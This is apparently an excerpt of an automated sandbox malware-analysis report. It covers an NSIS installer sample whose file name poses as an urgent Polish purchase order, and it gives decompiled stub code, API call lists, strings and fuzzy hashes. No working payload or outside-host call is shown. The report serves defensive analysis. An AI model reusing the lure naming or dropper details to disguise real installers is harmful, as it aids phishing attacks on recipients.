								if(_t140 == 0x20) {
									L20:
									_t15 = _t163 + 0x20;
									 *_t15 =  *(_t163 + 0x20) | 0x00000004;
									__eflags =  *_t15;
									goto L21;
								}
								__eflags = _t140;
								if(_t140 != 0) {
									goto L21;
								}
								goto L20;
							}
							_t141 = _t54[1];
							__eflags = _t141 - 0x20;
							if(_t141 == 0x20) {
								L16:
								 *0x4237a0 = 1;
								goto L17;
							}
							__eflags = _t141;
							if(_t141 != 0) {
								goto L17;
							}
							goto L16;
						}
					} else {
						goto L9;
					}
					do {
						L9:
						_t54 =  &(_t54[1]);
						__eflags =  *_t54 - 0x20;
					} while ( *_t54 == 0x20);
					goto L10;
				}
				goto L27;
			}
































                                                                                              0x004030e9
                                                                                              0x004030ed
                                                                                              0x004030f5
                                                                                              0x004030f9
                                                                                              0x004030fe
                                                                                              0x0040310e
                                                                                              0x00403111
                                                                                              0x00403118
                                                                                              0x0040311f
                                                                                              0x0040311f
                                                                                              0x00403118
                                                                                              0x00403121
                                                                                              0x00403126
                                                                                              0x00403127
                                                                                              0x00403133
                                                                                              0x00403137
                                                                                              0x0040313e
                                                                                              0x00403145
                                                                                              0x0040314a
                                                                                              0x0040314f
                                                                                              0x00403156
                                                                                              0x0040315c
                                                                                              0x00403172
                                                                                              0x00403182
                                                                                              0x00403187
                                                                                              0x0040318d
                                                                                              0x00403194
                                                                                              0x004031a7
                                                                                              0x004031ac
                                                                                              0x004031ae
                                                                                              0x004031b0
                                                                                              0x004031b5
                                                                                              0x004031b5
                                                                                              0x004031c5
                                                                                              0x004031cb
                                                                                              0x00403294
                                                                                              0x00403294
                                                                                              0x00403296
                                                                                              0x00403298
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004031d4
                                                                                              0x004031d7
                                                                                              0x004031df
                                                                                              0x004031df
                                                                                              0x004031e2
                                                                                              0x004031e7
                                                                                              0x004031e9
                                                                                              0x004031e9
                                                                                              0x004031ea
                                                                                              0x004031ea
                                                                                              0x004031ef
                                                                                              0x004031f2
                                                                                              0x00403284
                                                                                              0x00403289
                                                                                              0x0040328e
                                                                                              0x00403291
                                                                                              0x00403293
                                                                                              0x00403293
                                                                                              0x00403293
                                                                                              0x00000000
                                                                                              0x004031f8
                                                                                              0x004031f8
                                                                                              0x004031f9
                                                                                              0x004031fc
                                                                                              0x00403214
                                                                                              0x0040323f
                                                                                              0x00403241
                                                                                              0x00403254
                                                                                              0x0040327f
                                                                                              0x00403282
                                                                                              0x004032a0
                                                                                              0x004032a3
                                                                                              0x004032ac
                                                                                              0x004032b1
                                                                                              0x004032b7
                                                                                              0x004032c2
                                                                                              0x004032c4
                                                                                              0x004032c9
                                                                                              0x004032cb
                                                                                              0x00403323
                                                                                              0x00403328
                                                                                              0x00403332
                                                                                              0x00403339
                                                                                              0x0040333d
                                                                                              0x004033d1
                                                                                              0x004033d1
                                                                                              0x004033d6
                                                                                              0x004033dc
                                                                                              0x004033e1
                                                                                              0x00403505
                                                                                              0x0040350b
                                                                                              0x00403587
                                                                                              0x00403587
                                                                                              0x0040358c
                                                                                              0x0040358f
                                                                                              0x00403591
                                                                                              0x00403591
                                                                                              0x00403599
                                                                                              0x00403599
                                                                                              0x0040351b
                                                                                              0x00403523
                                                                                              0x00403525
                                                                                              0x00403526
                                                                                              0x00403533
                                                                                              0x00403546
                                                                                              0x0040354e
                                                                                              0x00403552
                                                                                              0x00403552
                                                                                              0x0040355a
                                                                                              0x0040355f
                                                                                              0x00403566
                                                                                              0x00403574
                                                                                              0x00403576
                                                                                              0x0040357c
                                                                                              0x0040357e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403568
                                                                                              0x0040356e
                                                                                              0x00403570
                                                                                              0x00403572
                                                                                              0x00403580
                                                                                              0x00403582
                                                                                              0x00000000
                                                                                              0x00403582
                                                                                              0x00000000
                                                                                              0x00403572
                                                                                              0x00403566
                                                                                              0x004033f0
                                                                                              0x004033f7
                                                                                              0x004033f7
                                                                                              0x00403349
                                                                                              0x004033c1
                                                                                              0x004033c1
                                                                                              0x004033cd
                                                                                              0x00000000
                                                                                              0x004033cd
                                                                                              0x00403352
                                                                                              0x00403356
                                                                                              0x0040338c
                                                                                              0x0040338c
                                                                                              0x0040338e
                                                                                              0x00403396
                                                                                              0x00403408
                                                                                              0x0040340a
                                                                                              0x00403411
                                                                                              0x00403419
                                                                                              0x00403419
                                                                                              0x00403424
                                                                                              0x00403429
                                                                                              0x00403438
                                                                                              0x0040343c
                                                                                              0x0040343d
                                                                                              0x00403446
                                                                                              0x0040343f
                                                                                              0x0040343f
                                                                                              0x0040343f
                                                                                              0x0040344c
                                                                                              0x00403452
                                                                                              0x00403458
                                                                                              0x00403460
                                                                                              0x00403460
                                                                                              0x0040346e
                                                                                              0x00403473
                                                                                              0x00403485
                                                                                              0x0040348d
                                                                                              0x00403493
                                                                                              0x0040349f
                                                                                              0x004034a5
                                                                                              0x004034af
                                                                                              0x004034c5
                                                                                              0x004034d6
                                                                                              0x004034dc
                                                                                              0x004034e3
                                                                                              0x004034e6
                                                                                              0x004034ec
                                                                                              0x004034ec
                                                                                              0x004034e3
                                                                                              0x004034f0
                                                                                              0x004034f6
                                                                                              0x004034f6
                                                                                              0x004034fb
                                                                                              0x004034fb
                                                                                              0x00000000
                                                                                              0x00403438
                                                                                              0x00403398
                                                                                              0x0040339a
                                                                                              0x004033a5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004033ad
                                                                                              0x004033b8
                                                                                              0x004033bd
                                                                                              0x00000000
                                                                                              0x004033bd
                                                                                              0x00403381
                                                                                              0x00403383
                                                                                              0x00403387
                                                                                              0x0040338a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040338a
                                                                                              0x00000000
                                                                                              0x00403383
                                                                                              0x004032d3
                                                                                              0x004032df
                                                                                              0x004032e4
                                                                                              0x004032e9
                                                                                              0x004032eb
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004032f3
                                                                                              0x004032fb
                                                                                              0x0040330c
                                                                                              0x00403314
                                                                                              0x00403316
                                                                                              0x0040331b
                                                                                              0x0040331d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040331d
                                                                                              0x00000000
                                                                                              0x00403282
                                                                                              0x00403243
                                                                                              0x00403246
                                                                                              0x00403249
                                                                                              0x0040324f
                                                                                              0x0040324f
                                                                                              0x0040324f
                                                                                              0x0040324f
                                                                                              0x00000000
                                                                                              0x0040324f
                                                                                              0x0040324b
                                                                                              0x0040324d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040324d
                                                                                              0x004031fe
                                                                                              0x00403201
                                                                                              0x00403204
                                                                                              0x0040320a
                                                                                              0x0040320a
                                                                                              0x00000000
                                                                                              0x0040320a
                                                                                              0x00403206
                                                                                              0x00403208
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00403208
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004031d9
                                                                                              0x004031d9
                                                                                              0x004031d9
                                                                                              0x004031da
                                                                                              0x004031da
                                                                                              0x00000000
                                                                                              0x004031d9
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • SetErrorMode.KERNELBASE ref: 004030FE
                                                                                              • GetVersion.KERNEL32 ref: 00403104
                                                                                              • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040312D
                                                                                              • #17.COMCTL32(00000007,00000009), ref: 0040314F
                                                                                              • OleInitialize.OLE32(00000000), ref: 00403156
                                                                                              • SHGetFileInfoA.SHELL32(0041ECC8,00000000,?,00000160,00000000), ref: 00403172
                                                                                              • GetCommandLineA.KERNEL32(00422F00,NSIS Error), ref: 00403187
                                                                                              • GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",00000000), ref: 0040319A
                                                                                              • CharNextA.USER32(00000000,"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe",00000020), ref: 004031C5
                                                                                              • GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 004032C2
                                                                                              • GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004032D3
                                                                                              • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032DF
                                                                                              • GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004032F3
                                                                                              • lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004032FB
                                                                                              • SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040330C
                                                                                              • SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403314
                                                                                              • DeleteFileA.KERNELBASE(1033), ref: 00403328
                                                                                                • Part of subcall function 00406092: GetModuleHandleA.KERNEL32(?,?,?,00403143,00000009), ref: 004060A4
                                                                                                • Part of subcall function 00406092: GetProcAddress.KERNEL32(00000000,?), ref: 004060BF
                                                                                              • OleUninitialize.OLE32(?), ref: 004033D6
                                                                                              • ExitProcess.KERNEL32 ref: 004033F7
                                                                                              • GetCurrentProcess.KERNEL32(00000028,?), ref: 00403514
                                                                                              • OpenProcessToken.ADVAPI32(00000000), ref: 0040351B
                                                                                              • LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403533
                                                                                              • AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00403552
                                                                                              • ExitWindowsEx.USER32(00000002,80040002), ref: 00403576
                                                                                              • ExitProcess.KERNEL32 ref: 00403599
                                                                                                • Part of subcall function 004054EF: MessageBoxIndirectA.USER32(00409218), ref: 0040554A
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
                                                                                              • String ID: "$"C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe$C:\Users\user\Pacifisterne\Automatcafeer$C:\Users\user\Pacifisterne\Automatcafeer\Syntaksgenkendelsernes\Temposkifterne$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`K)v$~nsu
                                                                                              • API String ID: 3329125770-2585049830
                                                                                              • Opcode ID: 50a0b31070c1ea53a34a4ed8f3439128c48ee7aefbe5bb0aee2a80eb16a56470
                                                                                              • Instruction ID: e7c85c4fe1f62676e3f8a08d8ca43f8bf3783ba147aef7bb7f1979754dcbcc24
                                                                                              • Opcode Fuzzy Hash: 50a0b31070c1ea53a34a4ed8f3439128c48ee7aefbe5bb0aee2a80eb16a56470
                                                                                              • Instruction Fuzzy Hash: B7C1E5706083417AE711AF71AD8DA2B7EA8EB85306F04457FF541B61D2C77C5A05CB2E
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405050 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282windowclipboardmemoryCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 128 405050-40506c 129 405072-405139 GetDlgItem * 3 call 403f13 call 4047b0 GetClientRect GetSystemMetrics SendMessageA * 2 128->129 130 4051fb-405201 128->130 150 405157-40515a 129->150 151 40513b-405155 SendMessageA * 2 129->151 132 405203-405225 GetDlgItem CreateThread CloseHandle 130->132 133 40522b-405237 130->133 132->133 135 405259-40525f 133->135 136 405239-40523f 133->136 140 405261-405267 135->140 141 4052b4-4052b7 135->141 138 405241-405254 ShowWindow * 2 call 403f13 136->138 139 40527a-405281 call 403f45 136->139 138->135 154 405286-40528a 139->154 145 405269-405275 call 403eb7 140->145 146 40528d-40529d ShowWindow 140->146 141->139 143 4052b9-4052bf 141->143 143->139 152 4052c1-4052d4 SendMessageA 143->152 145->139 148 4052ad-4052af call 403eb7 146->148 149 40529f-4052a8 call 404f12 146->149 148->141 149->148 157 40516a-405181 call 403ede 150->157 158 40515c-405168 SendMessageA 150->158 151->150 159 4053d1-4053d3 152->159 160 4052da-405306 CreatePopupMenu call 405d1b AppendMenuA 152->160 167 405183-405197 ShowWindow 157->167 168 4051b7-4051d8 GetDlgItem SendMessageA 157->168 158->157 159->154 165 405308-405318 GetWindowRect 160->165 166 40531b-405331 TrackPopupMenu 160->166 165->166 166->159 170 405337-405351 166->170 171 4051a6 167->171 172 405199-4051a4 ShowWindow 167->172 168->159 169 4051de-4051f6 SendMessageA * 2 168->169 169->159 173 405356-405371 SendMessageA 170->173 174 4051ac-4051b2 call 403f13 171->174 172->174 173->173 176 405373-405393 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 173->176 174->168 177 405395-4053b5 SendMessageA 176->177 177->177 178 4053b7-4053cb GlobalUnlock SetClipboardData CloseClipboard 177->178 178->159
                                                                                              C-Code - Quality: 96%
                                                                                              			E00405050(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				struct tagRECT _v24;
				void* _v32;
				signed int _v36;
				int _v40;
				int _v44;
				signed int _v48;
				int _v52;
				void* _v56;
				void* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t87;
				struct HWND__* _t89;
				long _t90;
				int _t95;
				int _t96;
				long _t99;
				void* _t102;
				intOrPtr _t113;
				void* _t121;
				intOrPtr _t124;
				struct HWND__* _t128;
				int _t150;
				int _t153;
				long _t157;
				struct HWND__* _t161;
				struct HMENU__* _t163;
				long _t165;
				void* _t166;
				char* _t167;
				char* _t168;
				int _t169;

				_t87 =  *0x422ee4; // 0x10422
				_t157 = _a8;
				_t150 = 0;
				_v8 = _t87;
				if(_t157 != 0x110) {
					__eflags = _t157 - 0x405;
					if(_t157 == 0x405) {
						_t121 = CreateThread(0, 0, E00404FE4, GetDlgItem(_a4, 0x3ec), 0,  &_a8); // executed
						CloseHandle(_t121);
					}
					__eflags = _t157 - 0x111;
					if(_t157 != 0x111) {
						L17:
						__eflags = _t157 - 0x404;
						if(_t157 != 0x404) {
							L25:
							__eflags = _t157 - 0x7b;
							if(_t157 != 0x7b) {
								goto L20;
							}
							_t89 = _v8;
							__eflags = _a12 - _t89;
							if(_a12 != _t89) {
								goto L20;
							}
							_t90 = SendMessageA(_t89, 0x1004, _t150, _t150);
							__eflags = _t90 - _t150;
							_a12 = _t90;
							if(_t90 <= _t150) {
								L36:
								return 0;
							}
							_t163 = CreatePopupMenu();
							AppendMenuA(_t163, _t150, "true", E00405D1B(_t150, _t157, _t163, _t150, 0xffffffe1));
							_t95 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t153 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v24);
								_t95 = _v24.left;
								_t153 = _v24.top;
							}
							_t96 = TrackPopupMenu(_t163, 0x180, _t95, _t153, _t150, _a4, _t150);
							__eflags = _t96 - 1;
							if(_t96 == 1) {
								_t165 = 1;
								__eflags = 1;
								_v56 = _t150;
								_v44 = 0x41fd08;
								_v40 = 0x1000;
								_a4 = _a12;
								do {
									_a4 = _a4 - 1;
									_t99 = SendMessageA(_v8, 0x102d, _a4,  &_v64);
									__eflags = _a4 - _t150;
									_t165 = _t165 + _t99 + 2;
								} while (_a4 != _t150);
								OpenClipboard(_t150);
								EmptyClipboard();
								_t102 = GlobalAlloc(0x42, _t165);
								_a4 = _t102;
								_t166 = GlobalLock(_t102);
								do {
									_v44 = _t166;
									_t167 = _t166 + SendMessageA(_v8, 0x102d, _t150,  &_v64);
									 *_t167 = 0xd;
									_t168 = _t167 + 1;
									 *_t168 = 0xa;
									_t166 = _t168 + 1;
									_t150 = _t150 + 1;
									__eflags = _t150 - _a12;
								} while (_t150 < _a12);
								GlobalUnlock(_a4);
								SetClipboardData("true", _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x422ecc - _t150; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x423708, 8);
							__eflags =  *0x42378c - _t150;
							if( *0x42378c == _t150) {
								_t113 =  *0x41f4e0; // 0x703ecc
								_t55 = _t113 + 0x34; // 0xffffffd4
								E00404F12( *_t55, _t150);
							}
							E00403EB7("true");
							goto L25;
						}
						 *0x41f0d8 = 2;
						E00403EB7(0x78);
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00403F45(_t157, _a12, _a16);
						}
						ShowWindow( *0x422ed0, _t150);
						ShowWindow(_v8, 8);
						E00403F13(_v8);
						goto L17;
					}
				}
				_v48 = _v48 | 0xffffffff;
				_v36 = _v36 | 0xffffffff;
				_t169 = 2;
				_v56 = _t169;
				_v52 = 0;
				_v44 = 0;
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				_t124 =  *0x423710;
				_a12 =  *((intOrPtr*)(_t124 + 0x5c));
				_a8 =  *((intOrPtr*)(_t124 + 0x60));
				 *0x422ed0 = GetDlgItem(_a4, 0x403);
				 *0x422ec8 = GetDlgItem(_a4, 0x3ee);
				_t128 = GetDlgItem(_a4, 0x3f8);
				 *0x422ee4 = _t128;
				_v8 = _t128;
				E00403F13( *0x422ed0);
				 *0x422ed4 = E004047B0(4);
				 *0x422eec = 0;
				GetClientRect(_v8,  &_v24);
				_v48 = _v24.right - GetSystemMetrics(_t169);
				SendMessageA(_v8, 0x101b, 0,  &_v56); // executed
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a12 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a12);
					SendMessageA(_v8, 0x1026, 0, _a12);
				}
				if(_a8 >= _t150) {
					SendMessageA(_v8, 0x1024, _t150, _a8);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E00403EDE(_a4);
				if(( *0x423718 & 0x00000003) != 0) {
					ShowWindow( *0x422ed0, _t150);
					if(( *0x423718 & 0x00000002) != 0) {
						 *0x422ed0 = _t150;
					} else {
						ShowWindow(_v8, 8);
					}
					E00403F13( *0x422ec8);
				}
				_t161 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t161, 0x401, _t150, 0x75300000);
				if(( *0x423718 & 0x00000004) != 0) {
					SendMessageA(_t161, 0x409, _t150, _a8);
					SendMessageA(_t161, 0x2001, _t150, _a12);
				}
				goto L36;
			}





































                                                                                              0x00405056
                                                                                              0x0040505e
                                                                                              0x00405061
                                                                                              0x00405069
                                                                                              0x0040506c
                                                                                              0x004051fb
                                                                                              0x00405201
                                                                                              0x0040521e
                                                                                              0x00405225
                                                                                              0x00405225
                                                                                              0x00405231
                                                                                              0x00405237
                                                                                              0x00405259
                                                                                              0x00405259
                                                                                              0x0040525f
                                                                                              0x004052b4
                                                                                              0x004052b4
                                                                                              0x004052b7
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004052b9
                                                                                              0x004052bc
                                                                                              0x004052bf
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004052c9
                                                                                              0x004052cf
                                                                                              0x004052d1
                                                                                              0x004052d4
                                                                                              0x004053d1
                                                                                              0x00000000
                                                                                              0x004053d1
                                                                                              0x004052e3
                                                                                              0x004052ef
                                                                                              0x004052f8
                                                                                              0x004052ff
                                                                                              0x00405303
                                                                                              0x00405306
                                                                                              0x0040530f
                                                                                              0x00405315
                                                                                              0x00405318
                                                                                              0x00405318
                                                                                              0x00405328
                                                                                              0x0040532e
                                                                                              0x00405331
                                                                                              0x0040533c
                                                                                              0x0040533c
                                                                                              0x0040533d
                                                                                              0x00405340
                                                                                              0x00405347
                                                                                              0x0040534e
                                                                                              0x00405356
                                                                                              0x00405356
                                                                                              0x00405364
                                                                                              0x0040536a
                                                                                              0x0040536d
                                                                                              0x0040536d
                                                                                              0x00405374
                                                                                              0x0040537a
                                                                                              0x00405383
                                                                                              0x0040538a
                                                                                              0x00405393
                                                                                              0x00405395
                                                                                              0x00405398
                                                                                              0x004053a7
                                                                                              0x004053a9
                                                                                              0x004053ac
                                                                                              0x004053ad
                                                                                              0x004053b0
                                                                                              0x004053b1
                                                                                              0x004053b2
                                                                                              0x004053b2
                                                                                              0x004053ba
                                                                                              0x004053c5
                                                                                              0x004053cb
                                                                                              0x004053cb
                                                                                              0x00000000
                                                                                              0x00405331
                                                                                              0x00405261
                                                                                              0x00405267
                                                                                              0x00405295
                                                                                              0x00405297
                                                                                              0x0040529d
                                                                                              0x0040529f
                                                                                              0x004052a5
                                                                                              0x004052a8
                                                                                              0x004052a8
                                                                                              0x004052af
                                                                                              0x00000000
                                                                                              0x004052af
                                                                                              0x0040526b
                                                                                              0x00405275
                                                                                              0x00000000
                                                                                              0x00405239
                                                                                              0x00405239
                                                                                              0x0040523f
                                                                                              0x0040527a
                                                                                              0x00000000
                                                                                              0x00405281
                                                                                              0x00405248
                                                                                              0x0040524f
                                                                                              0x00405254
                                                                                              0x00000000
                                                                                              0x00405254
                                                                                              0x00405237
                                                                                              0x00405072
                                                                                              0x00405076
                                                                                              0x0040507e
                                                                                              0x00405082
                                                                                              0x00405085
                                                                                              0x00405088
                                                                                              0x0040508b
                                                                                              0x0040508e
                                                                                              0x0040508f
                                                                                              0x00405090
                                                                                              0x004050a9
                                                                                              0x004050ac
                                                                                              0x004050b6
                                                                                              0x004050c5
                                                                                              0x004050cd
                                                                                              0x004050d5
                                                                                              0x004050da
                                                                                              0x004050dd
                                                                                              0x004050e9
                                                                                              0x004050f2
                                                                                              0x004050fb
                                                                                              0x0040511d
                                                                                              0x00405123
                                                                                              0x00405134
                                                                                              0x00405139
                                                                                              0x00405147
                                                                                              0x00405155
                                                                                              0x00405155
                                                                                              0x0040515a
                                                                                              0x00405168
                                                                                              0x00405168
                                                                                              0x0040516d
                                                                                              0x00405170
                                                                                              0x00405175
                                                                                              0x00405181
                                                                                              0x0040518a
                                                                                              0x00405197
                                                                                              0x004051a6
                                                                                              0x00405199
                                                                                              0x0040519e
                                                                                              0x0040519e
                                                                                              0x004051b2
                                                                                              0x004051b2
                                                                                              0x004051c6
                                                                                              0x004051cf
                                                                                              0x004051d8
                                                                                              0x004051e8
                                                                                              0x004051f4
                                                                                              0x004051f4
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • GetDlgItem.USER32(?,00000403), ref: 004050AF
                                                                                              • GetDlgItem.USER32(?,000003EE), ref: 004050BE
                                                                                              • GetClientRect.USER32(?,?), ref: 004050FB
                                                                                              • GetSystemMetrics.USER32(00000002), ref: 00405102
                                                                                              • SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405123
                                                                                              • SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405134
                                                                                              • SendMessageA.USER32(?,00001001,00000000,?), ref: 00405147
                                                                                              • SendMessageA.USER32(?,00001026,00000000,?), ref: 00405155
                                                                                              • SendMessageA.USER32(?,00001024,00000000,?), ref: 00405168
                                                                                              • ShowWindow.USER32(00000000,?,0000001B,?), ref: 0040518A
                                                                                              • ShowWindow.USER32(?,00000008), ref: 0040519E
                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 004051BF
                                                                                              • SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051CF
                                                                                              • SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051E8
                                                                                              • SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004051F4
                                                                                              • GetDlgItem.USER32(?,000003F8), ref: 004050CD
                                                                                                • Part of subcall function 00403F13: SendMessageA.USER32(00000028,?,?,00403D44), ref: 00403F21
                                                                                              • GetDlgItem.USER32(?,000003EC), ref: 00405210
                                                                                              • CreateThread.KERNEL32(00000000,00000000,Function_00004FE4,00000000), ref: 0040521E
                                                                                              • CloseHandle.KERNELBASE(00000000), ref: 00405225
                                                                                              • ShowWindow.USER32(00000000), ref: 00405248
                                                                                              • ShowWindow.USER32(?,00000008), ref: 0040524F
                                                                                              • ShowWindow.USER32(00000008), ref: 00405295
                                                                                              • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052C9
                                                                                              • CreatePopupMenu.USER32 ref: 004052DA
                                                                                              • AppendMenuA.USER32(00000000,00000000,?,00000000), ref: 004052EF
                                                                                              • GetWindowRect.USER32(?,000000FF), ref: 0040530F
                                                                                              • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405328
                                                                                              • SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405364
                                                                                              • OpenClipboard.USER32(00000000), ref: 00405374
                                                                                              • EmptyClipboard.USER32 ref: 0040537A
                                                                                              • GlobalAlloc.KERNEL32(00000042,?), ref: 00405383
                                                                                              • GlobalLock.KERNEL32(00000000), ref: 0040538D
                                                                                              • SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053A1
                                                                                              • GlobalUnlock.KERNEL32(00000000), ref: 004053BA
                                                                                              • SetClipboardData.USER32(?,00000000), ref: 004053C5
                                                                                              • CloseClipboard.USER32 ref: 004053CB
                                                                                              Strings
                                                                                              • Staalbrylluppets Setup: Installing, xrefs: 00405340
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                                                                              • String ID: Staalbrylluppets Setup: Installing
                                                                                              • API String ID: 590372296-4054940716
                                                                                              • Opcode ID: 848e6ad2b3afedd67cc7e117b643057e124365ea868e6e10ce1dc79c30623e5c
                                                                                              • Instruction ID: 36ba5585b1d224b9782629df23ee11add298fe1a6f2e37662bad4ed6ffe984ff
                                                                                              • Opcode Fuzzy Hash: 848e6ad2b3afedd67cc7e117b643057e124365ea868e6e10ce1dc79c30623e5c
                                                                                              • Instruction Fuzzy Hash: 46A159B1900208BFDB119FA0DD85AAE7F79FB48355F10407AFA01B61A0C7B55E41DF69
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405D1B Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 199stringCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
